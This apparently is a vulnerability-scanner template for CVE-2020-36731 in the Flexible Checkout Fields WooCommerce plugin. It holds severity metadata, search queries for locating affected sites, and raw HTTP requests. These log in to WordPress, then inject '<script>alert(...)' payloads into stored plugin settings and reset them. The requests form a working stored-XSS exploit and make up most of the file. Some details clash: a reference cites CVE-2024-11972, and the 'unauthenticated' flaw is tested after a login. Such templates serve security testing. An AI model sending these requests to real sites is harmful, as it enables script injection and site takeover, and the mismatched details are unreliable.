Flexible Checkout Fields for WooCommerce <= 2.3.1 - Unauthenticated Arbitrary Plugin Settings Update

id: CVE-2020-36731

info:
  name: Flexible Checkout Fields for WooCommerce <= 2.3.1 - Unauthenticated Arbitrary Plugin Settings Update
  author: popcorn94
  severity: high
  description: |
    The Flexible Checkout Fields for WooCommerce  plugin for WordPress is vulnerable to Unauthenticated Arbitrary Plugin Settings update, in addition to Stored Cross-Site Scripting in versions up to, and including, 2.3.1. This is due to missing authorization checks on the updateSettingsAction() function which is called via an admin_init hook, along with missing sanitization and escaping on the settings that are stored.
  impact: |
    Unauthenticated attackers can arbitrarily update plugin settings and inject stored XSS payloads, potentially taking over the WordPress site or stealing administrator credentials.
  remediation: Fixed in 2.3.2.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11972
    - https://www.wordfence.com/blog/2020/02/site-takeover-campaign-exploits-multiple-zero-day-vulnerabilities/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/fd12a952-2e99-41f7-b74c-55c2b7d8deed?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2020-36731
    cwe-id: CWE-79
    epss-score: 0.01342
    epss-percentile: 0.67886
    cpe: cpe:2.3:a:wpdesk:flexible_checkout_fields_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: wpdesk
    product: flexible_checkout_fields_for_woocommerce
    framework: wordpress
    fofa-query: body="/wp-content/plugins/flexible-checkout-fields/"
    publicwww-query: "/wp-content/plugins/flexible-checkout-fields/"
  tags: cve,cve2020,wordpress,wp-plugin,wp,flexible-checkout-fields,xss,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

  - raw:
      - |
        POST /wp-admin/admin.php?page=inspire_checkout_fields_settings&tab=fields_order HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option_page=inspire_checkout_fields_settings&action=update&inspire_checkout_fields%5Bsettings%5D%5Border%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bname%5D=order_comments&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bvisible%5D=1&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bvisible%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Brequired%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Blabel%5D=Order+Notes&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bplaceholder%5D=Notes+about+your+order%2C+e.g.+special+notes+for+delivery.&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bclass%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_<script>alert(document.domain)</script>_%5D%5Bcustom_field%5D=1

    matchers:
      - type: word
        words:
          - "order_<script>alert(document.domain)</script>"
          - "[custom_field]"
          - "inspire_checkout_fields[settings][order]"
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin.php?page=inspire_checkout_fields_settings&tab=fields_order HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option_page=inspire_checkout_fields_settings&action=update&inspire_checkout_fields%5Bsettings%5D%5Border%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bname%5D=order_comments&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bvisible%5D=1&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bvisible%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Brequired%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Blabel%5D=Order+Notes&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bplaceholder%5D=Notes+about+your+order%2C+e.g.+special+notes+for+delivery.&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bclass%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bcustom_field%5D=1&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bname%5D=order_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bvisible%5D=1&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bvisible%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Brequired%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Blabel%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Boption%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Btype%5D=text&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bplaceholder%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bclass%5D=&reset_settings=Reset+Section+Settings

    matchers:
      - type: word
        words:
          - "Settings resetted."
# digest: 4b0a004830460221009ec766eea9e8d657c47ddbe31f72476c2e495fde85528643a404c3dabe68f99a022100af3a4ec129cdbabe93af803f79d87bcc7cadde188cee05ea38e30aa5a702481b:922c64590222798bb761d5b6d8e72950